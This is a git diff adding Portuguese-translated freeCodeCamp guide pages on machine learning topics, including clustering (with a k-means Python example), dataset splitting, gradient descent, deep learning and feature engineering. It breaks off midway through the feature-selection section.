diff --git a/client/src/guide/portuguese/machine-learning/brownian-motion/index.md b/client/src/guide/portuguese/machine-learning/brownian-motion/index.md
new file mode 100644
index 0000000000..a2d7dcf045
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/brownian-motion/index.md
@@ -0,0 +1,11 @@
+---
+title: Brownian Motion
+localeTitle: Movimento browniano
+---
+## Movimento browniano
+
+Movimento browniano ou pedese (do grego antigo: πήδησις / pέːdεːsis / "leaping") é o movimento aleatório de partículas suspensas em um fluido (um líquido ou um gás) resultante de sua colisão com os átomos ou moléculas em movimento rápido no gás ou líquido.
+
+Este fenômeno de transporte é nomeado após o botânico Robert Brown. Em 1827, enquanto olhava através de um microscópio para partículas presas em cavidades dentro de grãos de pólen na água, ele notou que as partículas se moviam através da água; mas ele não foi capaz de determinar os mecanismos que causaram esse movimento. Átomos e moléculas foram teorizados durante muito tempo como constituintes da matéria, e Albert Einstein publicou um artigo em 1905 que explicava com detalhes precisos como o movimento que Brown observara era resultado do pólen sendo movido por moléculas de água individuais, fazendo com que um de seus primeiras grandes contribuições para a ciência. Essa explicação do movimento browniano serviu como evidência convincente de que átomos e moléculas existem, e foi verificada experimentalmente por Jean Perrin em 1908. Perrin recebeu o Prêmio Nobel de Física em 1926 "por seu trabalho na estrutura descontínua da matéria" (Einstein recebeu o prêmio cinco anos antes "por seus serviços à física teórica" ​​com citações específicas de diferentes pesquisas). A direção da força do bombardeio atômico está mudando constantemente e, em momentos diferentes, a partícula é atingida mais de um lado do outro, levando à natureza aparentemente aleatória do movimento.
+
+O movimento browniano está entre os mais simples dos processos estocásticos (ou probabilísticos) de tempo contínuo, e é um limite de processos estocásticos mais simples e mais complicados (ver passeio aleatório e o teorema de Donsker). Essa universalidade está intimamente relacionada à universalidade da distribuição normal. Em ambos os casos, é muitas vezes a conveniência matemática, e não a precisão dos modelos, que motiva a sua utilização.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/clustering-algorithms/index.md b/client/src/guide/portuguese/machine-learning/clustering-algorithms/index.md
new file mode 100644
index 0000000000..1dedf0fe96
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/clustering-algorithms/index.md
@@ -0,0 +1,131 @@
+---
+title: Clustering Algorithms
+localeTitle: Algoritmos de Cluster
+--- # Algoritmos de Cluster
+
+Clustering é o processo de dividir dados em grupos separados (clusters), assegurando que:
+
+*   Cada cluster contém objetos semelhantes
+*   Objetos que não pertencem aos mesmos clusters não são semelhantes
+
+Os algoritmos de cluster ajudam a encontrar a estrutura em uma coleção de dados não marcados e se enquadram na categoria de aprendizado não supervisionado.
+
+A dificuldade está na definição de uma medida de similaridade que pode separar os dados da maneira que você deseja. Por exemplo, um grupo de pessoas pode ser separado por sexo, cor do cabelo, peso, raça, etc.
+
+Os algoritmos de clustering têm a tarefa de agrupar um conjunto de objetos de forma que os objetos do mesmo grupo (chamados de cluster) sejam mais semelhantes (em algum sentido ou outro) uns aos outros do que àqueles de outros grupos (clusters). É uma tarefa principal de mineração exploratória de dados e uma técnica comum para análise de dados estatísticos. Ele é usado em muitos campos, incluindo aprendizado de máquina, reconhecimento de padrões, análise de imagens, recuperação de informações, bioinformática, compactação de dados e computação gráfica.
+
+Algumas aplicações de algoritmos de clustering incluem:
+
+*   Agrupando consumidores de acordo com seus padrões de compra
+*   Agrupando fotos de animais do mesmo tipo juntos
+*   Classificação de diferentes tipos de documentos
+
+## Tipos de Algoritmos de Cluster:
+
+1.  Cluster baseado em conectividade (cluster hierárquico)
+2.  Cluster de atribuição de ponto ou centróide (k-means clustering)
+3.  Clustering baseado em distribuição
+4.  Armazenamento em Cluster Baseado em Densidade
+
+Alguns exemplos de algoritmos de clustering são:
+
+1.  Agrupamento Alogmerative
+2.  K-significa agrupamento
+3.  Agrupamento K-mediods
+4.  Cluster de Partição
+
+### Agrupamento hierárquico
+
+Existem métodos para agrupamento que usam apenas semelhanças de instâncias, sem qualquer outro requisito nos dados; O objetivo é encontrar grupos de modo que as instâncias de um grupo sejam mais semelhantes entre si do que as instâncias em grupos diferentes. Essa é a abordagem adotada pelo clustering hierárquico.
+
+Isso requer o uso de uma similaridade, ou equivalentemente uma medida de distância definida entre instâncias. Geralmente, a distância euclidiana é usada, onde é preciso garantir que todos os atributos tenham a mesma escala.
+
+### Atribuição de ponto
+
+Esse método mantém um conjunto de clusters e coloca pontos nos clusters mais próximos.
+
+## Algoritmos de cluster específicos
+
+### K-significa clusters
+
+O algoritmo K-means é um algoritmo de clustering popular, pois é relativamente simples e rápido, ao contrário de outros algoritmos de clustering. O algoritmo é definido como o seguinte:
+
+1.  Decida o parâmetro de entrada k (número de clusters)
+2.  Escolha k pontos de dados aleatórios para usar como centróides
+3.  Calcule as distâncias de todos os pontos de dados para cada k centroids e atribua cada ponto de dados a um cluster contendo o centróide mais próximo
+4.  Depois que todos os pontos de dados tiverem sido classificados, calcule o ponto médio de todos os pontos para cada cluster e atribua como novo centróide.
+5.  Repita os passos 3 e 4 até os centróides convergirem em determinados k pontos.
+
+Como precisamos calcular apenas as distâncias kxn (em vez de n (n-1) para o algoritmo knn), esse algoritmo é bastante escalável.
+
+Aqui está um exemplo de clustering em Python que usa o [conjunto de dados Iris](https://www.kaggle.com/uciml/iris)
+
+```python
+import pandas as pd 
+ import numpy as np 
+ iris = pd.read_csv('Iris.csv') 
+ del iris['Id'] 
+ del iris['SepalLengthCm'] 
+ del iris['SepalWidthCm'] 
+ 
+ from matplotlib import pyplot as plt 
+ # k is the input parameter set to the number of species 
+ k = len(iris['Species'].unique()) 
+ for i in iris['Species'].unique(): 
+    # select only the applicable rows 
+    ds = iris[iris['Species'] == i] 
+    # plot the points 
+    plt.plot(ds[['PetalLengthCm']],ds[['PetalWidthCm']],'o') 
+ plt.title("Original Iris by Species") 
+ plt.show() 
+ 
+ from sklearn import cluster 
+ del iris['Species'] 
+ kmeans = cluster.KMeans(n_clusters=k, n_init=10, max_iter=300, algorithm='auto') 
+ kmeans.fit(iris) 
+ labels = kmeans.labels_ 
+ centroids = kmeans.cluster_centers_ 
+ 
+ for i in range(k): 
+    # select only data observations from the applicable cluster 
+    ds = iris.iloc[np.where(labels==i)] 
+    # plot the data observations 
+    plt.plot(ds['PetalLengthCm'],ds['PetalWidthCm'],'o') 
+    # plot the centroids 
+    lines = plt.plot(centroids[i,0],centroids[i,1],'kx') 
+    # make the centroid x's bigger 
+    plt.setp(lines,ms=15.0) 
+    plt.setp(lines,mew=2.0) 
+ plt.title("Iris by K-Means Clustering") 
+ plt.show() 
+```
+
+Como os pontos de dados geralmente pertencem a um espaço de alta dimensão, a medida de similaridade é geralmente definida como uma distância entre dois vetores (Euclidean, Manhathan, Cosine, Mahalanobis ...).
+
+### Densidade da Mistura
+
+Podemos escrever a _densidade da mistura_ como: ![densidade da mistura](https://latex.codecogs.com/gif.latex?p%28x%29%20%3D%20%5Csum_%7Bi%3D1%7D%5E%7Bk%7Dp%28x%7CG_%7Bi%7D%29p%28G_%7Bi%7D%29) onde Gi são os componentes da mistura. Eles também são chamados de grupos ou clusters. p (x | Gi) são as densidades dos componentes e P (Gi) são as proporções da mistura. O número de componentes, k, é um hiperparâmetro e deve ser especificado antecipadamente.
+
+### Expectativa-Maximização (EM)
+
+Nesta abordagem é probabilística e procuramos os parâmetros de densidade do componente que maximizam a probabilidade da amostra.
+
+O algoritmo EM é um procedimento iterativo eficiente para calcular a estimativa de Máxima Verossimilhança (ML) na presença de dados ausentes ou ocultos. Na estimativa de ML, desejamos estimar o (s) parâmetro (s) do modelo para o qual os dados observados são os mais prováveis.
+
+Cada iteração do algoritmo EM consiste em dois processos: o E-step e o M-step.
+
+1.  Na expectativa, ou etapa E, os dados faltantes são estimados dados os dados observados e a estimativa atual dos parâmetros do modelo. Isto é conseguido usando a expectativa condicional, explicando a escolha da terminologia.
+2.  Na etapa M, a função de verossimilhança é maximizada sob a suposição de que os dados ausentes são conhecidos. A estimativa dos dados perdidos da etapa E é usada no lugar dos dados perdidos reais.
+
+A convergência é garantida, pois o algoritmo é garantido para aumentar a probabilidade em cada iteração.
+
+## Mais Informações:
+
+*   [Artigo de análise de cluster da Wikipédia](https://en.wikipedia.org/wiki/Cluster_analysis)
+*   [Introdução ao Clustering e algoritmos relacionados](https://www.analyticsvidhya.com/blog/2016/11/an-introduction-to-clustering-and-different-methods-of-clustering/)
+*   [Algoritmos de agrupamento - Universidade de Stanford](https://web.stanford.edu/class/cs345a/slides/12-clustering.pdf)
+*   [Algoritmos de clustering: do início ao estado da arte](https://www.toptal.com/machine-learning/clustering-algorithms)
+*   [Análise de Cluster: Conceitos Básicos e Algoritmos](https://www-users.cs.umn.edu/~kumar/dmbook/ch8.pdf)
+*   [K-Clustering](https://www.datascience.com/blog/k-means-clustering)
+*   [Algoritmo de Maximização de Expectativas](https://www.cs.utah.edu/~piyush/teaching/EM_algorithm.pdf)
+*   [Usando o K-Means Clustering com Python](https://code.likeagirl.io/finding-dominant-colour-on-an-image-b4e075f98097)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/dataset-splitting/index.md b/client/src/guide/portuguese/machine-learning/dataset-splitting/index.md
new file mode 100644
index 0000000000..b07a7c6dff
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/dataset-splitting/index.md
@@ -0,0 +1,29 @@
+---
+title: Dataset Splitting
+localeTitle: Divisão de Conjunto de Dados
+---
+## Divisão de Conjunto de Dados
+
+Dividir-se em treinamento, validação cruzada e conjuntos de testes são práticas recomendadas comuns. Isso permite ajustar vários parâmetros do algoritmo sem fazer julgamentos que se ajustem especificamente aos dados de treinamento.
+
+### Motivação
+
+A decomposição de conjuntos de dados surge como uma necessidade para eliminar o viés de dados de treinamento em algoritmos de ML. Modificar parâmetros de um algoritmo ML para melhor se ajustar aos dados de treinamento comumente resulta em um algoritmo de overfit que apresenta um desempenho ruim nos dados de teste reais. Por esse motivo, dividimos o conjunto de dados em vários subconjuntos discretos nos quais treinamos diferentes parâmetros.
+
+#### O conjunto de treinamento
+
+O conjunto de treinamento é usado para calcular o modelo real que seu algoritmo usará quando exposto a novos dados. Este conjunto de dados é normalmente 60% -80% de todos os seus dados disponíveis (dependendo se você usa ou não um conjunto de validação cruzada).
+
+#### O conjunto de validação cruzada
+
+Os conjuntos de validação cruzada são para seleção de modelo (tipicamente ~ 20% de seus dados). Use este conjunto de dados para testar diferentes parâmetros para o algoritmo conforme treinado no conjunto de treinamento. Por exemplo, você pode avaliar parâmetros diferentes do modelo (grau polinomial ou lambda, o parâmetro de regularização) no conjunto de validação cruzada para ver qual pode ser mais preciso.
+
+#### O conjunto de teste
+
+O conjunto de testes é o conjunto de dados final que você toca (geralmente ~ 20% dos dados). É a fonte da verdade. Sua precisão na previsão do conjunto de testes é a precisão do seu algoritmo ML.
+
+#### Mais Informações:
+
+*   [AWS ML Doc](http://docs.aws.amazon.com/machine-learning/latest/dg/splitting-the-data-into-training-and-evaluation-data.html)
+*   [Um bom post de stackoverflow](https://stackoverflow.com/questions/13610074/is-there-a-rule-of-thumb-for-how-to-divide-a-dataset-into-training-and-validatio)
+*   [Artigo acadêmico](https://www.mff.cuni.cz/veda/konference/wds/proc/pdf10/WDS10_105_i1_Reitermanova.pdf)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/deep-learning/gradient-descent/index.md b/client/src/guide/portuguese/machine-learning/deep-learning/gradient-descent/index.md
new file mode 100644
index 0000000000..44b664a3ee
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/deep-learning/gradient-descent/index.md
@@ -0,0 +1,31 @@
+---
+title: Gradient Descent
+localeTitle: Gradiente descendente
+---
+## Gradiente descendente
+
+A descida de gradiente é um algoritmo de otimização para encontrar o mínimo de uma função. Na aprendizagem profunda, esse algoritmo de otimização é muito útil quando os parâmetros não podem ser calculados analiticamente.
+
+![Gradiente descendente](https://upload.wikimedia.org/wikipedia/commons/6/68/Gradient_descent.jpg) O que você quer fazer é atualizar repetidamente o valor do parâmetro theta até que você minimize o valor da Função de Custo J (θ) perto de 0;
+
+### Taxa de Aprendizagem
+
+O tamanho de uma etapa é chamado de taxa de aprendizado. Uma taxa de aprendizado maior torna a interação mais rápida, mas pode ultrapassar o mínimo global, o valor que estamos procurando. Por outro lado, podemos evitar esse overshooting, diminuindo a taxa de aprendizado; mas cuidado, quanto menor a taxa de aprendizado, mais computacionalmente intensivo ele fica. Isso pode prolongar desnecessariamente o cálculo ou você pode não chegar ao mínimo global.
+
+### Escala de recursos
+
+Um problema de aprendizado profundo exigiria que você usasse vários recursos para gerar um modelo preditivo. Se, por exemplo, você estiver criando um modelo preditivo para o preço da residência, terá que lidar com recursos como o preço em si, o número de quartos, a área do lote etc. E esses recursos podem diferir muito no intervalo, por exemplo, enquanto o lote área pode ser entre 0 e 2000 pés quadrados, os outros recursos como o número de quartos seria entre 1 e 9.
+
+É aqui que o dimensionamento de recursos, também chamado de normalização, é útil para garantir que o algoritmo de aprendizado de máquina funcione corretamente.
+
+### Descida Estocástica de Gradiente
+
+Os problemas de aprendizado de máquina geralmente requerem cálculos ao longo de um tamanho de amostra em milhões, e isso pode ser muito intensivo em termos computacionais.
+
+Na descida de gradiente estocástica, você atualiza o parâmetro para o gradiente de custo de cada exemplo e não a soma do gradiente de custo de todos os exemplos. Você poderia chegar a um conjunto de bons parâmetros mais rapidamente depois de apenas alguns passos através dos exemplos de treinamento, assim, o aprendizado é mais rápido também.
+
+### Leitura Adicional
+
+*   [Um guia para redes neurais e aprendizagem profunda](http://neuralnetworksanddeeplearning.com/)
+*   [Descida de gradiente para aprendizado de máquina](https://machinelearningmastery.com/gradient-descent-for-machine-learning/)
+*   [Diferença entre Descida de Gradiente em Lote e Descida de Gradiente Estocástica](https://towardsdatascience.com/difference-between-batch-gradient-descent-and-stochastic-gradient-descent-1187f1291aa1)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/deep-learning/index.md b/client/src/guide/portuguese/machine-learning/deep-learning/index.md
new file mode 100644
index 0000000000..4f053d008b
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/deep-learning/index.md
@@ -0,0 +1,57 @@
+---
+title: Deep Learning
+localeTitle: Aprendizagem Profunda
+---
+## Aprendizagem Profunda
+
+Deep Learning refere-se a uma técnica em Aprendizado de Máquina, na qual você tem muitas redes neurais artificiais empilhadas em alguma arquitetura.
+
+Para os não iniciados, um neurônio artificial é basicamente uma função matemática de algum tipo. E as redes neurais são neurônios conectados uns aos outros. Então, em aprendizado profundo, você tem muitas funções matemáticas empilhadas em cima (ou ao lado) umas das outras em alguma arquitetura. Cada uma das funções matemáticas pode ter seus próprios parâmetros (por exemplo, uma equação de uma linha `y = mx + c` tem 2 parâmetros `m` e `c` ) que precisam ser aprendidos (durante o treinamento). Uma vez aprendida para uma dada tarefa (digamos, para classificar gatos e cães), esta pilha de funções matemáticas (neurônios) está pronta para fazer seu trabalho de classificar imagens de gatos e cães.
+
+![Gato ou cachorro?](https://image.slidesharecdn.com/deeplearningfromanoviceperspective-150811155203-lva1-app6891/95/deep-learning-from-a-novice-perspective-3-638.jpg?cb=1439308391)
+
+### Por que isso é um grande negócio?
+
+Chegando com o conjunto de regras manualmente para algumas das tarefas pode ser muito complicado (embora teoricamente possível). Por exemplo, se você tentar escrever um conjunto manual de regras para classificar uma imagem (basicamente um monte de valores de pixel) de se ela pertence a um gato ou cachorro, você verá por que é complicado. Acrescente a isso o fato de que cães e gatos vêm em uma variedade de formas, tamanhos e cores, e, para não mencionar, as imagens podem ter origens diferentes. Você pode entender rapidamente porque codificar um problema tão simples pode ser problemático.
+
+Deep Learning ajuda a resolver este problema de descobrir o conjunto de regras que podem classificar uma imagem como a de um gato ou um cachorro, automaticamente! Tudo o que é preciso é um monte de imagens que já estão corretamente classificadas como de um gato ou de um cachorro e que poderão aprender o conjunto de regras necessário. Magia!
+
+Acontece que há muitos problemas por aí que não são relacionados à imagem (como o reconhecimento de voz), em que encontrar o conjunto de regras é muito complicado. Deep Learning pode ajudar com isso desde que haja muitos dados rotulados já presentes.
+
+### Como treinar um modelo de aprendizagem profunda?
+
+Treinar uma rede neural profunda (também conhecida como nossa pilha de funções matemáticas organizadas em alguma arquitetura) é basicamente uma arte com muitos hiper-parâmetros. Os hiper-parâmetros são basicamente coisas como qual função matemática usar, ou qual arquitetura usar, que você precisa calcular manualmente até que sua rede seja capaz de classificar com sucesso cães e gatos. Para treinar, você precisa de muitos dados rotulados (neste caso, muitas imagens já catalogadas como cães ou gatos) e muito poder de computação e paciência!
+
+Para treinar, você fornece uma rede neural com uma função de perda que basicamente diz quão diferentes são os resultados da rede neural versus as respostas corretas. Dependendo do valor da função loss, você altera os parâmetros da função matemática de tal forma que na próxima vez que sua rede tentar classificar a mesma imagem, o valor da função loss será menor. Você continua encontrando o valor da função de perda e atualizando os parâmetros repetidamente em todo o conjunto de dados de treinamento até que os valores da função de perda estejam dentro de margens razoáveis. Sua enorme rede neural está pronta agora!
+
+### Algumas arquiteturas de rede neural padrão
+
+Nos últimos anos, alguns dos modelos (isto é, a combinação das funções matemáticas, a arquitetura e os parâmetros) tornaram-se padrão para determinadas tarefas. Por exemplo, um modelo chamado Resnet-152 ganhou o Imagenet Challenge em 2015, que envolve a tentativa de classificar imagens em 1000 categorias (incluindo cães e gatos). Se você estiver planejando fazer tarefas semelhantes, a recomendação é começar com esses modelos padrão e ajustá-los se eles não atenderem aos seus requisitos.
+
+Um modelo resnet-152 se parece com isso (não se preocupe se você não entender isso. É apenas um monte de funções matemáticas empilhadas umas sobre as outras de uma maneira interessante):
+
+![Modelo Resnet-152](https://adeshpande3.github.io/assets/ResNet.gif)
+
+O Google tinha sua própria arquitetura de rede neural que ganhou a Imagenet desafiada em 2014. Que pode ser vista em um [gif aqui com mais detalhes](https://adeshpande3.github.io/assets/GoogleNet.gif) .
+
+### Como implementar o seu próprio?
+
+Atualmente, há uma variedade de estruturas de aprendizagem profunda que permitem especificar qual função matemática você deseja usar, qual arquitetura para suas funções e qual função de perda usar para o treinamento. Como o treinamento de tal modelo é muito intensivo em termos computacionais, a maioria desses frameworks gera código otimizado para qualquer hardware que você possa ter. Alguns dos famosos quadros são:
+
+*   [Apache MXNet](https://mxnet.incubator.apache.org/)
+*   [Tensorflow do Google](https://www.tensorflow.org/)
+*   [Pytorch](http://pytorch.org//)
+*   [Keras](https://keras.io/)
+*   [Caffe2](https://caffe2.ai/)
+*   [Gluon](https://github.com/gluon-api/gluon-api/)
+*   [Theano](http://deeplearning.net/software/theano/)
+
+### Mais Informações:
+
+*   [Livro de Aprendizagem Profunda](http://www.deeplearningbook.org)
+*   [Aprendizagem Profunda](https://en.wikipedia.org/wiki/Deep_learning)
+*   [Guia FreeCodeCamp para redes neurais](https://github.com/freeCodeCamp/guides/blob/master/src/pages/machine-learning/neural-networks/index.md)
+*   [Imagenet](http://image-net.org/)
+*   [Um Guia para Principiantes do Entendimento de Redes Neurais Convolucionais](https://adeshpande3.github.io/adeshpande3.github.io/A-Beginner's-Guide-To-Understanding-Convolutional-Neural-Networks/)
+*   [Aprendizado Profundo SIMPLIFICADO - DeepLearning.TV](https://www.youtube.com/playlist?list=PLjJh1vlSEYgvGod9wWiydumYl8hOXixNu)
+*   [Redes Neurais e Aprendizagem Profunda](http://neuralnetworksanddeeplearning.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/deep-learning/music-classification/index.md b/client/src/guide/portuguese/machine-learning/deep-learning/music-classification/index.md
new file mode 100644
index 0000000000..c9dfb8fc1e
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/deep-learning/music-classification/index.md
@@ -0,0 +1,26 @@
+---
+title: Music Classification
+localeTitle: Classificação musical
+---
+## Classificação musical
+
+A classificação musical é outro campo em que estratégias de aprendizagem profunda podem ser aplicadas para se obter maior precisão de classificação do que os métodos tradicionais de aprendizado de máquina. Redes Neurais Profundas que estavam sendo originalmente usadas para reconhecimento de imagens e tarefas de visão computacional poderiam ser empregadas para a classificação musical através do uso de espectrogramas. Um espectrograma nada mais é do que uma representação visual do espectro de frequências presentes na música ao longo de um período de tempo. Em outras palavras, um sinal de música que é uma freqüência resultante, poderia ser separado em seu espectro de freqüências e a intensidade em termos de dB poderia ser representada visualmente para cada freqüência. Esta imagem poderia ser usada para treinar uma rede neural que classifica tais espectrogramas. Um ótimo caso de uso é o reconhecimento de gêneros.
+
+### Os seguintes são exemplos de vários espectrogramas:
+
+![Espectrograma1](http://deepsound.io/images/new_blues_00.png)
+
+O espectrograma acima é de uma música do gênero blues. As frequências são ao longo do eixo y e o tempo no eixo x. As cores mais brilhantes representam que o som dessa freqüência é alto, enquanto as cores mais escuras representam a suavidade desses pontos específicos no tempo. Tal imagem contendo tantos dados poderia ser usada para treinar uma rede neural. Geralmente usamos um espectrograma mel-escalonado para fins de reconhecimento de gêneros, que é uma escala de notas julgadas pelos ouvintes, ou seja, como percebemos essas freqüências para distinguir entre componentes de vários gêneros.
+
+**Transformadas de Fourier**
+
+Um detalhe importante a saber é que tais espectrogramas são criados com a ajuda de um conceito matemático conhecido como transformadas de Fourier. A transformada de Fourier decompõe uma função do tempo nas freqüências que a compõem.
+
+#### Mais Informações
+
+Se você estiver usando python, existem muitas bibliotecas para processamento de sinal. [A Librosa](https://librosa.github.io/librosa/) é famosa, outra é [scipy,](https://scipy.org/) que também pode ser usada para outros propósitos científicos. mel espectrogramas poderiam ser criados aproveitando essas bibliotecas.
+
+##### Por favor, dê uma olhada nos links a seguir para obter mais informações sobre o tópico acima:
+
+*   [Encontrando o gênero](https://hackernoon.com/finding-the-genre-of-a-song-with-deep-learning-da8f59a61194)
+*   [Deepsound](http://deepsound.io/music_genre_recognition.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md b/client/src/guide/portuguese/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md
new file mode 100644
index 0000000000..25360cee47
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md
@@ -0,0 +1,11 @@
+---
+title: Optimization Algorithms for Gradient Descent
+localeTitle: Algoritmos de Otimização para Descida de Gradiente
+---
+## Algoritmos de Otimização para Descida de Gradiente
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/machine-learning/deep-learning/optimization-algorithms-for-gradient-descent/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/dimension-reduction/index.md b/client/src/guide/portuguese/machine-learning/dimension-reduction/index.md
new file mode 100644
index 0000000000..7abb58f26e
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/dimension-reduction/index.md
@@ -0,0 +1,33 @@
+---
+title: Dimension Reduction
+localeTitle: Redução de Dimensão
+---
+## Redução de Dimensão
+
+Lidar com muitas dimensões pode ser doloroso para algoritmos de aprendizado de máquina. A alta dimensionalidade aumentará a complexidade computacional, aumentará o risco de overfitting (já que seu algoritmo possui mais graus de liberdade) e a dispersão dos dados aumentará. Assim, a redução de dimensionalidade projetará os dados em um espaço com menor dimensão para limitar esses fenômenos.
+
+## Por que a redução de dimensionalidade é útil?
+
+*   Projeção em duas dimensões é freqüentemente usada para facilitar a visualização de conjuntos de dados de alta dimensionalidade.
+    
+*   Quando as dimensões podem receber uma interpretação significativa, a projeção ao longo dessa dimensão pode ser usada para explicar certos comportamentos.
+    
+*   No caso de aprendizado supervisionado, a redução de dimensionalidade pode ser usada para reduzir a dimensão dos recursos, potencialmente levando a um melhor desempenho do algoritmo de aprendizado.
+    
+
+## Técnicas de Redução de Dimensionalidade
+
+*   Análise Linear Discriminante [LDA](http://scikit-learn.org/stable/modules/lda_qda.html)
+*   [PCA de](http://setosa.io/ev/principal-component-analysis/) Análise de Componentes Principais
+*   PCA do kernel
+*   PCA do kernel baseado em gráfico
+*   Integração de Vizinhos Estocásticos Distribuídos em [T t-SNE](https://lvdmaaten.github.io/tsne/)
+*   [Auto Codificadores](https://medium.com/towards-data-science/reducing-dimensionality-from-dimensionality-reduction-techniques-f658aec24dfe)
+*   Análise discriminante generalizada (GDA)
+*   autoencodificadores
+
+#### Mais Informações:
+
+*   [Um tutorial passo a passo para análise de componentes principais](https://plot.ly/ipython-notebooks/principal-component-analysis/#introduction)
+*   [Técnicas de Redução de Dimensionalidade](https://medium.com/towards-data-science/reducing-dimensionality-from-dimensionality-reduction-techniques-f658aec24dfe)
+*   [Técnicas de redução de dimensionalidade: por onde começar](https://blog.treasuredata.com/blog/2016/03/25/dimensionality-reduction-techniques-where-to-begin)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/expectation-maximization-algorithm/index.md b/client/src/guide/portuguese/machine-learning/expectation-maximization-algorithm/index.md
new file mode 100644
index 0000000000..d22b8d35f1
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/expectation-maximization-algorithm/index.md
@@ -0,0 +1,9 @@
+---
+title: Expectation Maximization Algorithm
+localeTitle: Algoritmo de Maximização de Expectativas
+---
+#### Leitura sugerida:
+
+*   https://en.wikipedia.org/wiki/Expectation%E2%80%93maximization\_algorithm
+*   http://www.nature.com/nbt/journal/v26/n8/full/nbt1406.html
+*   http://www.cc.gatech.edu/~dellaert/em-paper.pdf
\ No newline at end of file
diff --git a/client/src/guide/portuguese/machine-learning/feature-engineering/index.md b/client/src/guide/portuguese/machine-learning/feature-engineering/index.md
new file mode 100644
index 0000000000..a0b87e866f
--- /dev/null
+++ b/client/src/guide/portuguese/machine-learning/feature-engineering/index.md
@@ -0,0 +1,89 @@
+---
+title: Feature Engineering
+localeTitle: Engenharia de recursos
+---
+## Engenharia de recursos
+
+Machine Learning funciona melhor com dados bem formados. A engenharia de recursos descreve certas técnicas para garantir que estamos trabalhando com a melhor representação possível dos dados coletados.
+
+## Por que a engenharia de recursos é útil?
+
+*   A quantidade e a qualidade dos recursos afetam o poder preditivo do modelo. Mais recursos de alta qualidade resultam em um modelo melhor.
+*   Crie modelos melhores pegando os dados que você possui e ampliando-os com informações adicionais relevantes ao assunto obtidas em outro lugar.
+*   Novos recursos podem levar a "avanços" na capacidade do modelo de prever um resultado robusto.
+
+## Advertências para a engenharia de recursos
+
+*   A criação de novos recursos com base em recursos conhecidos pode levar à multicolinearidade, uma situação em que dois recursos são linearmente relacionados. Isso equivale a "mergulhar duas vezes" em um modelo e pode levar a ajustes excessivos.
+*   Mais nem sempre é melhor. Adicionar recursos com recursos preditivos ruins pode aumentar o tempo computacional sem adicionar benefícios ao modelo.
+
+## Exemplos de engenharia de recursos:
+
+*   Se você tiver um recurso de "data", tente agrupá-lo em "dia da semana", "semana do ano" ou "mês do ano". Da mesma forma, crie um recurso AM / PM a partir de "hora do dia".
+*   Execute uma redução de dados como o PCA e adicione os vetores do PCA aos dados como novos recursos.
+*   Produza novos recursos transformando numericamente os recursos atuais. Exemplos seriam dados de transformação de log ou codificação de recursos categóricos como números (convert baixo / médio / alto para 1/2/3).
+*   Use dados do censo para criar novos recursos (como renda média), supondo que seu conjunto de dados contenha informações de localização (cidade, estado, município etc.).
+
+A seguir, duas técnicas de engenharia de recursos: dimensionamento e seleção.
+
+### Escala de recursos
+
+Vamos supor que seus dados contenham o peso e a altura das pessoas. Os números brutos dessas duas características têm uma grande diferença (por exemplo, 80 kg e 180 cm, ou 175 lbs vs 5.9 pés), o que pode influenciar o resultado de um determinado algoritmo de Aprendizado de Máquina. Este é especialmente o caso de algoritmos que usam [funções de distância](https://en.wikipedia.org/wiki/Euclidean_distance) .
+
+Para corrigir isso, representamos os números brutos em um intervalo de 0 a 1. Podemos conseguir isso usando a fórmula: `(x - xMin) / (xMax - xMin)` .
+
+Usando essa fórmula, precisamos prestar atenção especial aos valores discrepantes, pois eles podem afetar drasticamente o resultado, aumentando o xMax e reduzindo o xMin. É por isso que os valores discrepantes são frequentemente eliminados antes do dimensionamento.
+
+### Seleção de Recurso
+
+É tudo sobre como identificar o subconjunto de recursos responsáveis ​​pelas tendências que observamos em nossos dados.
+
+Por que devemos nos importar? [A maldição da dimensionalidade](https://en.wikipedia.org/wiki/Curse_of_dimensionality) é um grande inimigo em tempos de Big Data. Não podemos usar todas as nossas dezenas ou centenas de recursos. Isso não apenas aumentaria a dimensionalidade de nossos dados através do telhado (2 ^ n, onde n é o número de recursos), mas também não faria sentido em casos de uso específicos. Imagine querer prever o tempo de amanhã: será mais provável que a tendência do tempo dos últimos dias seja mais importante neste cenário do que os bebês nascidos nos últimos dias. Assim, você poderia facilmente eliminar o recurso dos bebês.
+
+Mas esqueça os bebês por enquanto, vamos mergulhar em mais detalhes.
+
+#### Filtragem e envolvimento
+
+Aqui nós descrevemos duas abordagens gerais. Os métodos de filtragem atuam independentemente do algoritmo de aprendizado escolhido e os métodos de agrupamento incorporam o aluno.
+
+Os métodos de filtro selecionam o subconjunto de recursos antes de injetar os dados em seu algoritmo ML. Eles usam, por exemplo, a correlação com a variável a ser prevista para identificar qual subconjunto de recursos escolher. Esses métodos são relativamente rápidos para serem computados, mas não se aproveitam do [viés do aluno,](https://en.wikipedia.org/wiki/Inductive_bias) pois a filtragem está acontecendo independentemente do modelo ML escolhido.
+
